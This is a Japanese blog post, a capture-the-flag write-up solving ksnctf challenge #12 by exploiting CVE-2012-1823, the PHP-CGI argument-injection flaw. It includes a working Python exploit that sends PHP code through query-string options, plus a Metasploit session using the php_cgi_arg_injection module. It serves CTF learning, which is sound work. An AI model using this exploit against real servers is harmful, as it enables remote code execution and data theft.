かたはらいたし。

個人的な技術的な活動をまとめていきたい。

ksnctf #12 Hypertext Preprocessor

一ヶ月くらい論文やらなんやらで忙しくて全然更新できなかった・・・。

ksnctf - 12 Hypertext Preprocessor

Problem

http://ctfq.sweetduet.info:10080/~q12/

アクセスしてみると、真っ黒な画面に赤い文字で数字の羅列が表示されています。

Analyze

最初は時刻を表示してるのかな?と思って何回かページを更新したところ先頭の文字は変わらず、末尾だけ変化していました。

とりあえず困ったときはGoogle大先生に聞いてみようと、先頭の文字列を検索してみるとCVE-2012-1823に関する情報がたくさんヒットしました。

徳丸先生のページで詳細に解説されていました。
CGI版PHPにリモートからスクリプト実行を許す脆弱性(CVE-2012-1823) | 徳丸浩の日記

CGI環境においてPHPを動かしている場合、リモートからのコマンド実行を許可してしまう脆弱性のようで、クエリとして=が含まれない場合、コマンドラインの引数としてみなされるもののようです。

以下の二つをパラメータとしてURLに含めて、実行したいコマンドをPOSTで渡すとPOSTの中身をPHPスクリプトとして実行されるとのことです。

allow_url_include=On
auto_prepend_file=php://input

Answer

実際に以下のようなコードを作成して、ディレクトリの中身を確認してみる。

#!/usr/bin/env python
# coding: UTF-8

import urllib
import urllib2
import requests


def main():
	url = 'http://ctfq.sweetduet.info:10080/~q12/index.php'
	code = '?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input'
	values = '''
	<?php
	$res_dir = opendir( '.' );
	while( $file_name = readdir( $res_dir ) ){
		print "{$file_name}\n";
	}
	closedir( $res_dir );
	?>
	'''
	req = requests.post(url+code, data=values)
	print req.text

if __name__ == '__main__':
	main()

すると、ディレクトリの中身として、

flag_flag_flag.txt
.htaccess
index.php
php.cgi

が存在していることがわかりました。

あとは、同じやり方でflag_flag_flag.txtの中身を表示して終了です。

感想とか

今回はたまたまググって解説されてるページがあったから解くことができたけど、CVEの情報とかだけだったらかなり苦戦していたように思うので、ラッキーということで・・・。

追記(2017/6/24)

最近Metasploitに触れる機会があったので、この問題をMetasploitを使って解いてみました。
上述の通り、CVE-2012-1823脆弱性を利用したものなので、リンク先にあるようにModuleとしてexploit/multi/http/php_cgi_arg_injectionを利用します。
exploitの際に利用するpayloadについて、Metasploit上では、shellをバインドするものや任意のコマンドを実行するが用意されていますが、うまく接続できなかったので、上述の攻略方法と同じアプローチで実施します。
つまり、任意のPHPコードを実行して、その結果をHTTPレスポンスで得ます。

そのため今回はpayloadを自身で定義できるgeneric/customを利用します。
また、payloadのオプションとしてファイルに書かれているpayloadを実行するPAYLOADFILEを利用します。
今回はMetasploitと同じディレクトリ上にq12.phpというファイルを作成しました。

以下、mfsconsole上での操作になります。

msf > use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection) > set RHOST ctfq.sweetduet.info
RHOST => ctfq.sweetduet.info
msf exploit(php_cgi_arg_injection) > set RPORT 10080
RPORT => 10080
msf exploit(php_cgi_arg_injection) > set TARGETURI /~q12.php/
TARGETURI => /~q12/
msf exploit(php_cgi_arg_injection) > check
[+] ctfq.sweetduet.info:10080 The target is vulnerable.
msf exploit(php_cgi_arg_injection) > set payload generic/custom
payload => generic/custom
msf exploit(php_cgi_arg_injection) > exploit

exploitを実行すると、HTTPリクエストが投げられるので対応するHTTPレスポンスの中身を確認すると無事FLAGゲットです。
HTTPレスポンスの中身の確認までMetasploit上でできたらよかったんだけど、使い方がわからないところがたくさんあったので今回はWiresharkでパケットの中身を確認しました。